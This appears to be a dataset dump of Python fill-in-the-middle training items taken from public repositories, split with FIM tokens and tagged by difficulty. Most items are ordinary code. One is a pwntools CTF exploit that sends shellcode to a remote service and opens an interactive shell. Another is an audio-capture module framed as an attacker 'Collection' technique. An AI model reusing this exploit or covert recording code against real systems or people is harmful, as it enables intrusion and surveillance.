text
stringlengths
232
16.3k
domain
stringclasses
1 value
difficulty
stringclasses
3 values
meta
dict
<|fim_prefix|># repo: jajaspider/NLP path: /file_merge_1.py from datetime import datetime import os import time from openpyxl import load_workbook, Workbook # 평균 시간 계산용 함수 time_spend 전역 배열을 사용 def time_cal(count): sum = 0 for i in time_spend: sum += i print("평균 소요 시간 : " + str(round(sum / (coun...
code_fim
hard
{ "lang": "python", "repo": "jajaspider/NLP", "path": "/file_merge_1.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> except Exception as e: print(e) try: except_word = open("결과제외단어.txt", mode='rt', encoding='utf-8') for i in except_word.readlines(): i = i.replace('\n', '') del nouncount[noun.index(i)] del noun[noun.index(i)] except_word.close()...
code_fim
hard
{ "lang": "python", "repo": "jajaspider/NLP", "path": "/file_merge_1.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def setUp(self): self.work = WeWork() self.upload = MeterialPage(self.work.driver) self.choose_tool = ManageToolsPage(self.work.driver) def teardown(self): pass # sleep(3) # self.work.quit() def test_upload_images(self): self.choose_too...
code_fim
medium
{ "lang": "python", "repo": "chenzy01/Testerhome_homework", "path": "/test_wework/test_upload_images.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def teardown(self): pass # sleep(3) # self.work.quit() def test_upload_images(self): self.choose_tool.choose_tool("素材库") self.upload.upload_images("C:/Users/CZY/PycharmProjects/Demo/images/起风了.jpg") assert self.upload.get_tips() == "OK"<|fim_prefix|...
code_fim
medium
{ "lang": "python", "repo": "chenzy01/Testerhome_homework", "path": "/test_wework/test_upload_images.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: chenzy01/Testerhome_homework path: /test_wework/test_upload_images.py from test_wework.material_page import MeterialPage from test_wework.wework_page import WeWork from test_wework.managetools_page import ManageToolsPage class TestUploadImages: <|fim_suffix|> pass # sleep(3) ...
code_fim
medium
{ "lang": "python", "repo": "chenzy01/Testerhome_homework", "path": "/test_wework/test_upload_images.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>print("True") else: print("False") main()<|fim_prefix|># repo: zumanah/Zum-Python path: /finishedCondition7.py #this program will tell you if a character is a lower case letter def main(): # b == "k" b = inpu<|fim_middle|>t("Enter answer") if(b>="a" and b<="z"):
code_fim
easy
{ "lang": "python", "repo": "zumanah/Zum-Python", "path": "/finishedCondition7.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: zumanah/Zum-Python path: /finishedCondition7.py #this program will tell you if a character is a lowe<|fim_suffix|>t("Enter answer") if(b>="a" and b<="z"): print("True") else: print("False") main()<|fim_middle|>r case letter def main(): # b == "k" b = inpu
code_fim
easy
{ "lang": "python", "repo": "zumanah/Zum-Python", "path": "/finishedCondition7.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: github-2643/python.github.io path: /range.py numbers = list(range(10)) # range from 0to 9 print(numbers) <|fim_suffix|>numbers = list(range(15,50,5)) # range from 15 to 50 with difference of 5 print(numbers)<|fim_middle|>numbers = list(range(11,20)) # range from 11 to 20 print(numbers)
code_fim
medium
{ "lang": "python", "repo": "github-2643/python.github.io", "path": "/range.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>numbers = list(range(15,50,5)) # range from 15 to 50 with difference of 5 print(numbers)<|fim_prefix|># repo: github-2643/python.github.io path: /range.py numbers = list(range(10)) # range from 0to 9 print(numbers) <|fim_middle|>numbers = list(range(11,20)) # range from 11 to 20 print(numbers)
code_fim
medium
{ "lang": "python", "repo": "github-2643/python.github.io", "path": "/range.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # ### commands auto generated by Alembic - please adjust! ### op.drop_column('home_listings', 'sq_feet') op.drop_column('home_listings', 'beds') op.drop_column('home_listings', 'baths') # ### end Alembic commands ###<|fim_prefix|># repo: Amertz08/zillow_scraper path: /migrations/versi...
code_fim
hard
{ "lang": "python", "repo": "Amertz08/zillow_scraper", "path": "/migrations/versions/d69091f4ab42_.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Amertz08/zillow_scraper path: /migrations/versions/d69091f4ab42_.py """empty message Revision ID: d69091f4ab42 Revises: 4224bceeb26a Create Date: 2017-02-03 14:00:27.370841 """ from alembic import op import sqlalchemy as sa <|fim_suffix|>def upgrade(): # ### commands auto generated by Ale...
code_fim
medium
{ "lang": "python", "repo": "Amertz08/zillow_scraper", "path": "/migrations/versions/d69091f4ab42_.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: LinnTaylor/reflections path: /MachineLearning/Outliers/outlier_cleaner.py #!/usr/bin/python def outlierCleaner(predictions, ages, net_worths): """ clean away the 10% of points that have the largest residual errors (different between the prediction and the actual net ...
code_fim
medium
{ "lang": "python", "repo": "LinnTaylor/reflections", "path": "/MachineLearning/Outliers/outlier_cleaner.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> ### your code goes here temp = abs(predictions-net_worths) for k in range(len(ages)): cleaned_data.append((ages[k][0],net_worths[k][0],temp[k][0])) cleaned_data = sorted(cleaned_data, key=lambda data:data[2]) print("Length: ", len(cleaned_data)) cleaned_data = cleaned_data[...
code_fim
medium
{ "lang": "python", "repo": "LinnTaylor/reflections", "path": "/MachineLearning/Outliers/outlier_cleaner.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def process_pipeline(self, show_intermediate=False, show_mask=False, show_original=True, show_final=True): image = self.image if image is None: raise Exception("Please load an image before starting the process") if ...
code_fim
hard
{ "lang": "python", "repo": "dariosky/self-driving-cars", "path": "/sdcnnet/lanefinder.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: dariosky/self-driving-cars path: /sdcnnet/lanefinder.py from .base import * class LaneFinderPipeline: def __init__(self): # maybe we will need some params here self.image = None self.interesting_mask = None # interest zone mask is the same for each frame sel...
code_fim
hard
{ "lang": "python", "repo": "dariosky/self-driving-cars", "path": "/sdcnnet/lanefinder.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> super().__init__() self.attributes = ["allow"]<|fim_prefix|># repo: urushiyama/DeUI path: /deui/html/attribute/allow_attr.py from .attribute_builder import AttributeBuilder <|fim_middle|>class Allow(AttributeBuilder): """ Represents 'allow' attribute. """ def __init__(se...
code_fim
medium
{ "lang": "python", "repo": "urushiyama/DeUI", "path": "/deui/html/attribute/allow_attr.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: urushiyama/DeUI path: /deui/html/attribute/allow_attr.py from .attribute_builder import AttributeBuilder class Allow(AttributeBuilder): <|fim_suffix|> super().__init__() self.attributes = ["allow"]<|fim_middle|> """ Represents 'allow' attribute. """ def __init__(se...
code_fim
medium
{ "lang": "python", "repo": "urushiyama/DeUI", "path": "/deui/html/attribute/allow_attr.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # Node is a leaf elif del_node.left is None and del_node.right is None: parent = self._find_parent(del_node) if self.key(del_node.key) <= self.key(parent.key): parent.left = None else: parent.right = None # Node h...
code_fim
hard
{ "lang": "python", "repo": "Alizame/aaads4", "path": "/BinarySearchTree.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Alizame/aaads4 path: /BinarySearchTree.py from StudiObject import StudiObject from TreeNode import TreeNode class BinarySearchTree: def __init__(self, key=lambda x: x): self.root = None self.key = key def __iter__(self): yield from self.inorder() def _find...
code_fim
hard
{ "lang": "python", "repo": "Alizame/aaads4", "path": "/BinarySearchTree.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def _get_inorder_successor(self, node: TreeNode): try: my_generator = self._node_inorder(node.right) successor = next(my_generator) # if this fails it means it didn't have 2 children return successor except: raise Exception("no successor...
code_fim
hard
{ "lang": "python", "repo": "Alizame/aaads4", "path": "/BinarySearchTree.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> In a derived class,sets a reference to a GDI+ brush object. brush: A pointer to the GDI+ brush object. """ pass def TranslateTransform(self,dx,dy,order=None): """ TranslateTransform(self: TextureBrush,dx: Single,dy: Single,order: MatrixOrder) Translates the local geometric transfor...
code_fim
hard
{ "lang": "python", "repo": "shnlmn/Rhino-Grasshopper-Scripts", "path": "/IronPythonStubs/release/stubs.min/System/Drawing/__init___parts/TextureBrush.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: shnlmn/Rhino-Grasshopper-Scripts path: /IronPythonStubs/release/stubs.min/System/Drawing/__init___parts/TextureBrush.py class TextureBrush(Brush,ICloneable,IDisposable): """ Each property of the System.Drawing.TextureBrush class is a System.Drawing.Brush object that uses an image to fill the in...
code_fim
hard
{ "lang": "python", "repo": "shnlmn/Rhino-Grasshopper-Scripts", "path": "/IronPythonStubs/release/stubs.min/System/Drawing/__init___parts/TextureBrush.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: schorox/SecDev-Test path: /recorder.py import pyaudio import audioop from os import path # This module implements the Audio Capture technique (under the Collection tactic). # The module captures the audio using a simple & default API called MME, which is found on most/all Windows machines. ...
code_fim
hard
{ "lang": "python", "repo": "schorox/SecDev-Test", "path": "/recorder.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> self.stream = self.audio.open(format=self.format, channels=self.channels, rate=self.RATE, input=True, frames_per_buffer=self.sample_size) def read_stream(self): frames = [] for i in range(0, int(self.RATE / self.sample_size * self.dur...
code_fim
hard
{ "lang": "python", "repo": "schorox/SecDev-Test", "path": "/recorder.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: mnuck/project-euler path: /60/solution.py #!/usr/bin/env python # # Project Euler 60 from itertools import combinations from bitarray import bitarray from math import sqrt primes = None primeset = None maxlen = 8 def generate_primes(): global maxlen size = 10 ** maxlen stop = int(...
code_fim
hard
{ "lang": "python", "repo": "mnuck/project-euler", "path": "/60/solution.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> global primeset a, b = str(a), str(b) i, j = int(a + b), int(b + a) return i in primeset and j in primeset def set_satisfies(s): if len(s) < 2: return True return all(pair_satisfies(a, b) for (a, b) in combinations(s, 2)) dead_ends = set() def partial(working): glo...
code_fim
hard
{ "lang": "python", "repo": "mnuck/project-euler", "path": "/60/solution.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>dead_ends = set() def partial(working): global maxlen if len(working) == 5: return working if len(working) > 0: longest = max(working, key=lambda x: len(str(x))) maxprime = 10 ** (maxlen - len(str(longest))) else: maxprime = 10 ** maxlen for prime...
code_fim
hard
{ "lang": "python", "repo": "mnuck/project-euler", "path": "/60/solution.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># array = [1,2,4,16,8,4] # result = canReorderDoubled(array) # print(result)<|fim_prefix|># repo: sumitpatra6/leetcode_daily_challenges path: /previous/array_doubled_pairs.py from typing_extensions import TypeAlias def canReorderDoubled(arr): <|fim_middle|> from collections import Counter ...
code_fim
hard
{ "lang": "python", "repo": "sumitpatra6/leetcode_daily_challenges", "path": "/previous/array_doubled_pairs.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: sumitpatra6/leetcode_daily_challenges path: /previous/array_doubled_pairs.py from typing_extensions import TypeAlias def canReorderDoubled(arr): <|fim_suffix|># array = [1,2,4,16,8,4] # result = canReorderDoubled(array) # print(result)<|fim_middle|> from collections import Counter ...
code_fim
hard
{ "lang": "python", "repo": "sumitpatra6/leetcode_daily_challenges", "path": "/previous/array_doubled_pairs.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=5000)<|fim_prefix|># repo: damilare/mitiri path: /app.py from setup import app from public.views import pages from admin.views import admin <|fim_middle|>app.register_blueprint(pages) app.register_blueprint(admin)
code_fim
medium
{ "lang": "python", "repo": "damilare/mitiri", "path": "/app.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: damilare/mitiri path: /app.py from setup import app from public.views import pages from admin.views import admin <|fim_suffix|>if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=5000)<|fim_middle|>app.register_blueprint(pages) app.register_blueprint(admin)
code_fim
medium
{ "lang": "python", "repo": "damilare/mitiri", "path": "/app.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> return render_template('404.html'), 404 @app.errorhandler(500) def internal_server_error(e): return render_template('500.html'), 500<|fim_prefix|># repo: siflaneur/Blog path: /blog/views.py # coding=utf-8 from flask import flash, make_response, render_template, request, redirect, url_for from f...
code_fim
hard
{ "lang": "python", "repo": "siflaneur/Blog", "path": "/blog/views.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: siflaneur/Blog path: /blog/views.py # coding=utf-8 from flask import flash, make_response, render_template, request, redirect, url_for from flask_login import login_user, logout_user from blog.app import app, login_manager from blog.form import LoginForm @app.route('/') def homepage(): nam...
code_fim
hard
{ "lang": "python", "repo": "siflaneur/Blog", "path": "/blog/views.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: TheAlbatross279/Gustafo path: /db/dbsetup.py """ LEGACY GUSTAFO 1.0 -- NOT ADAPTED FOR USE IN Gustafo 2.0 """ import sqlite3 class Database(object): def __init__(self): <|fim_suffix|> def query(self, query): self.c.execute(query) results = [] for row in self.c: ...
code_fim
hard
{ "lang": "python", "repo": "TheAlbatross279/Gustafo", "path": "/db/dbsetup.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def build_tables(self): self.c.execute('''CREATE TABLE facts (author text, msg text, recipient text, knowers text)''') if __name__ == '__main__': db = Database() db.build_tables()<|fim_prefix|># repo: TheAlbatross279/Gustafo path: /db/dbsetup.py """ LEGACY GUSTAFO 1.0 -- NOT A...
code_fim
hard
{ "lang": "python", "repo": "TheAlbatross279/Gustafo", "path": "/db/dbsetup.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> for step in range(num_steps): offset = (step * batch_size) % (train_labels.shape[0] - batch_size) batch_data = train_dataset[offset:(offset + batch_size), :, :, :] batch_labels = train_labels[offset:(offset + batch_size), :] feed_dict = {tf_train_dataset: batch_data, tf_train_l...
code_fim
hard
{ "lang": "python", "repo": "atrianurag/machine-learning", "path": "/tensorflow/udacity/conv_net.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def train_conv_net(): with tf.Session(graph=graph) as session: tf.global_variables_initializer().run() print ('initialized') results = { 'loss': [], 'training_accuracy': [], 'validation_accuracy': [], 'test_accuracy': None } for step in range(num_step...
code_fim
hard
{ "lang": "python", "repo": "atrianurag/machine-learning", "path": "/tensorflow/udacity/conv_net.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: atrianurag/machine-learning path: /tensorflow/udacity/conv_net.py from __future__ import print_function import numpy as np import tensorflow as tf from six.moves import cPickle as pickle from six.moves import range import download_extract_process import matplotlib.pyplot as plt import matplotlib....
code_fim
hard
{ "lang": "python", "repo": "atrianurag/machine-learning", "path": "/tensorflow/udacity/conv_net.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> dependencies = [ ('djangoecommerceweb', '0002_remove_product_product_image'), ] operations = [ migrations.CreateModel( name='Coupon', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='I...
code_fim
hard
{ "lang": "python", "repo": "TheGreatAndrew/Django-Ecommerce", "path": "/djangoecommerceweb/migrations/0003_auto_20201130_0045.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: TheGreatAndrew/Django-Ecommerce path: /djangoecommerceweb/migrations/0003_auto_20201130_0045.py # Generated by Django 3.1.2 on 2020-11-30 00:45 from django.db import migrations, models class Migration(migrations.Migration): <|fim_suffix|> operations = [ migrations.CreateModel( ...
code_fim
hard
{ "lang": "python", "repo": "TheGreatAndrew/Django-Ecommerce", "path": "/djangoecommerceweb/migrations/0003_auto_20201130_0045.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> operations = [ migrations.CreateModel( name='Coupon', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('coupon_id', models.IntegerField()), ], ), migr...
code_fim
hard
{ "lang": "python", "repo": "TheGreatAndrew/Django-Ecommerce", "path": "/djangoecommerceweb/migrations/0003_auto_20201130_0045.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>### Opening files #### To open files available in your current working directory (use ls to see whats available) you'll use the command cloudshell open <file>. ### Check for time....removing and moving files and folders might be more beneficial as a full stretch where students look up how to do on their...
code_fim
hard
{ "lang": "python", "repo": "dstamp1/FTF-WF-2021", "path": "/day01/day01a-CommandLine.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>## Possibly state that we can also move, delete, and rename files and folders. # cp (copy) rm (remove/delete) mv (move) ##First Lab ### Framing: We're going to work on our first lab now. Labs is where the *real* learning happens where you will work closely with your classmates to reinforce concepts and ...
code_fim
hard
{ "lang": "python", "repo": "dstamp1/FTF-WF-2021", "path": "/day01/day01a-CommandLine.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: dstamp1/FTF-WF-2021 path: /day01/day01a-CommandLine.py # Intro to Cloudshell ## A virtual computer you get access to for free with a google account ## You get files and a terminal ### Do a quick tour of the parts # Terminal - Bash ## The programming language of the terminal is called `bash` and ...
code_fim
medium
{ "lang": "python", "repo": "dstamp1/FTF-WF-2021", "path": "/day01/day01a-CommandLine.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> face_boxes_list, _ = FaceDetector.detect(i_img) for face_box in face_boxes_list: face_img = i_img[face_box[0]:face_box[1], face_box[2]:face_box[3]] if face_img.shape != (112, 112): face_img = resize(face_img, (112, 112)) emb0 = FaceRe...
code_fim
medium
{ "lang": "python", "repo": "muhammadaly/Perceptron", "path": "/face_functions/face_authenticator.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: muhammadaly/Perceptron path: /face_functions/face_authenticator.py from face_functions.face_detection import FaceDetector from face_functions.face_recognition import FaceRecognizer from cv2 import resize class FaceAuthenticator: <|fim_suffix|> face_boxes_list, _ = FaceDetector.detect(i_i...
code_fim
medium
{ "lang": "python", "repo": "muhammadaly/Perceptron", "path": "/face_functions/face_authenticator.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: cash2one/xai path: /xai/brain/wordbase/nouns/_roomful.py #calss header class _ROOMFUL(): def __init__(self,): self.name = "ROOMFUL" self.definitions = [u'as many or as much as a room will hold: '] self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} <|fim...
code_fim
easy
{ "lang": "python", "repo": "cash2one/xai", "path": "/xai/brain/wordbase/nouns/_roomful.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: cash2one/xai path: /xai/brain/wordbase/nouns/_roomful.py #calss header class _ROOMFUL(): <|fim_suffix|> self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.specie = 'nouns' def run(self, obj1 = [], obj2 = []): return self.jsondata<|fim_middle|> def _...
code_fim
medium
{ "lang": "python", "repo": "cash2one/xai", "path": "/xai/brain/wordbase/nouns/_roomful.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: nachaboi/CN path: /UDP_Client-Unreliable.py import socket import sys import select a = sys.argv if len(a) != 2: print("NO TEXT FILE GIVEN OR TOO MANY PARAMETERS") quit() d = 0.1 f = None try: f = open(a[1], "r") except: print("INVALID TEXT FILE") quit() data = f.read() data = data.splitl...
code_fim
hard
{ "lang": "python", "repo": "nachaboi/CN", "path": "/UDP_Client-Unreliable.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>i = 0 while i <= 6: # print(i, d) UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) temp = str(arr[i][0]) + " " + str(arr[i][1]) + " " + str(arr[i][2]) UDPClientSocket.sendto(temp.encode(), serverAddressPort) UDPClientSocket.settimeout(d) restart = False passBy = Fals...
code_fim
medium
{ "lang": "python", "repo": "nachaboi/CN", "path": "/UDP_Client-Unreliable.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>while i <= 6: # print(i, d) UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) temp = str(arr[i][0]) + " " + str(arr[i][1]) + " " + str(arr[i][2]) UDPClientSocket.sendto(temp.encode(), serverAddressPort) UDPClientSocket.settimeout(d) restart = False passBy = False try:...
code_fim
medium
{ "lang": "python", "repo": "nachaboi/CN", "path": "/UDP_Client-Unreliable.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: aioupload/dexy path: /dexy/reporters/run/classes.py from dexy.reporter import Reporter from dexy.doc import Doc from jinja2 import Environment from jinja2 import FileSystemLoader import operator import os import random import shutil def link_to_doc(node): return """&nbsp;<a href="#%s">&darr;...
code_fim
hard
{ "lang": "python", "repo": "aioupload/dexy", "path": "/dexy/reporters/run/classes.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def print_children(node, indent=0, extra=""): rand_id = random.randint(10000000,99999999) spaces = " " * 4 * indent nbspaces = "&nbsp;" * 4 * indent content = "" node_div = """%s<div data-toggle="collapse" data-target="#%s">%s%s%s%s</div...
code_fim
hard
{ "lang": "python", "repo": "aioupload/dexy", "path": "/dexy/reporters/run/classes.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> Arguments: inplanes {int} -- [输入的通道数] channel_expansion {int} -- [扩张系数]] (default: {6}) """ super(LinearBottleneck, self).__init__() self.inplanes = inplanes self.stride = stride self.downsample = downsample self.se ...
code_fim
hard
{ "lang": "python", "repo": "skJack/challange", "path": "/models/mingnet.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: skJack/challange path: /models/mingnet.py import torch import torch.nn as nn import torch.optim as optim import os from torchvision import models class MingNet(nn.Module): def __init__(self): super(MingNet, self).__init__() self.depth_net = MobileNetv2(LinearBottleneck, [1, ...
code_fim
hard
{ "lang": "python", "repo": "skJack/challange", "path": "/models/mingnet.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.avg_pool(x) x = torch.flatten(x, 1) x = self.fc(x) return x class LinearBottleneck(nn.Module): expansion = 4 def __init__(self, inplanes, planes, ...
code_fim
hard
{ "lang": "python", "repo": "skJack/challange", "path": "/models/mingnet.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ChenYongChang1/spider_study path: /database/CSS/juejin_1389.py , "digg_count": 1, "comment_count": 0, "hot_index": 15, "is_hot": 0, "rank_index": 0.00045398, "status": 2, "verify_status": 1, "audit_status": 2, "mark_content": ""}, "author_user_info": {"user_id": "1248693511259070", "user_name": "...
code_fim
hard
{ "lang": "python", "repo": "ChenYongChang1/spider_study", "path": "/database/CSS/juejin_1389.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>d": "4283353031252967", "user_name": "浪里行舟", "company": "联系微信frontJS", "job_title": "前端", "avatar_large": "https://sf1-ttcdn-tos.pstatp.com/img/user-avatar/4ad29756aaea9618a8b385d6be23add4~300x300.image", "level": 6, "description": "", "followee_count": 106, "follower_count": 14741, "post_article_count": ...
code_fim
hard
{ "lang": "python", "repo": "ChenYongChang1/spider_study", "path": "/database/CSS/juejin_1389.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ChenYongChang1/spider_study path: /database/CSS/juejin_1389.py , "extraMap": {}, "is_logout": 0}, "category": {"category_id": "6809637767543259144", "category_name": "前端", "category_url": "frontend", "rank": 2, "back_ground": "https://lc-mhke0kuv.cn-n1.lcfile.com/8c95587526f346c0.png", "icon": "h...
code_fim
hard
{ "lang": "python", "repo": "ChenYongChang1/spider_study", "path": "/database/CSS/juejin_1389.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> world = World(win_height, win_width) world.addWheel([400, 300], 200) # spout position and width for when rain == false spoutPos = 380 spoutWidth = 40 pause = False rain = False # particles randomly appear at top along widith when true, spout when false maxP = 100 ...
code_fim
hard
{ "lang": "python", "repo": "CodyMacedo/CSCI3010U_WaterWheelOfFortune", "path": "/particle.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: CodyMacedo/CSCI3010U_WaterWheelOfFortune path: /particle.py ''' Water Wheel of Fortune By Nathaniel Yearwood Cody Macedo ''' import pygame, sys import matplotlib.pyplot as plt import numpy as np from scipy.integrate import ode import random as rand import math import threading win_width = ...
code_fim
hard
{ "lang": "python", "repo": "CodyMacedo/CSCI3010U_WaterWheelOfFortune", "path": "/particle.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # initializing pygame pygame.init() clock = pygame.time.Clock() # top left corner is (0,0) screen = pygame.display.set_mode((win_width, win_height)) pygame.display.set_caption('Water Wheel of Fortune') world = World(win_height, win_width) world.addWheel([400, 300], 2...
code_fim
hard
{ "lang": "python", "repo": "CodyMacedo/CSCI3010U_WaterWheelOfFortune", "path": "/particle.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: CrowdEye/crowdeye-node path: /clienttest.py import cv2 import urllib.request import numpy as np with urllib.request.urlopen("http://localhost:5500/stream/0/annotated") as url: <|fim_suffix|>string(jpg, dtype=np.uint8), cv2.IMREAD_COLOR) cv2.imshow('i', i) if cv2.waitK...
code_fim
hard
{ "lang": "python", "repo": "CrowdEye/crowdeye-node", "path": "/clienttest.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>string(jpg, dtype=np.uint8), cv2.IMREAD_COLOR) cv2.imshow('i', i) if cv2.waitKey(1) == 27: exit(0)<|fim_prefix|># repo: CrowdEye/crowdeye-node path: /clienttest.py import cv2 import urllib.request import numpy as np with urllib.request.urlopen("http://localhost:55...
code_fim
medium
{ "lang": "python", "repo": "CrowdEye/crowdeye-node", "path": "/clienttest.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: pangiann/CTF_challenges path: /pwnable/executionerv2/exp.py from pwn import * debug = 0 if not debug: sh = remote('svc.pwnable.xyz', 30028) else: sh = process('./challenge') <|fim_suffix|>x1 = str(num) + " " + str(num2) sh.sendlineafter('> ', x1) shellcode = "\x00\x04\x24\x58\x48\x2d\x...
code_fim
medium
{ "lang": "python", "repo": "pangiann/CTF_challenges", "path": "/pwnable/executionerv2/exp.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> x1 = str(num) + " " + str(num2) sh.sendlineafter('> ', x1) shellcode = "\x00\x04\x24\x58\x48\x2d\xce\x02\x00\x00\xff\xe0" pause() sh.sendafter(': ', shellcode) pause() sh.interactive()<|fim_prefix|># repo: pangiann/CTF_challenges path: /pwnable/executionerv2/exp.py from pwn import * debug = 0 if not d...
code_fim
medium
{ "lang": "python", "repo": "pangiann/CTF_challenges", "path": "/pwnable/executionerv2/exp.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: av2813/RPMv3 path: /testMovie.py import numpy as np import matplotlib.pyplot as plt import os import rpmClass_Stable as rpm import pandas as pd import time import matplotlib.cm as cm from importlib import reload reload(rpm) from matplotlib.animation import FuncAnimation, FFMpegWriter # Some glo...
code_fim
hard
{ "lang": "python", "repo": "av2813/RPMv3", "path": "/testMovie.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> start = time.time() print('Exporting to mp4 started: ', time.localtime(start)) #folder = 'D:\RPM_Rapid\SquareQDvHapp2\SquarePD_QD1.000000e-01_Happ1.030000e-01_count2' #filenames = os.listdir(folder) filenames = [] for f in os.listdir(folder): if f.endswith(".npz"): filenames.append(os.path.join...
code_fim
hard
{ "lang": "python", "repo": "av2813/RPMv3", "path": "/testMovie.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ppiech/7wonders path: /gui/controller.py from game import Game import pygame as pg class Board: def __init__(self): self.needs_redraw = False self.discard = False self.highlight_card_index = -1 def request_redraw(self): self.needs_redraw = True def i...
code_fim
hard
{ "lang": "python", "repo": "ppiech/7wonders", "path": "/gui/controller.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def discard_card(self, selected_card_number): hand = self.game.current_player_hand() print("discarrrrrrrrrrrrrrrrd") del hand[selected_card_number] self.game.current_player_index.give_moneys_for_discard() print("MONEY: ", player.money) self.game.current_...
code_fim
hard
{ "lang": "python", "repo": "ppiech/7wonders", "path": "/gui/controller.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
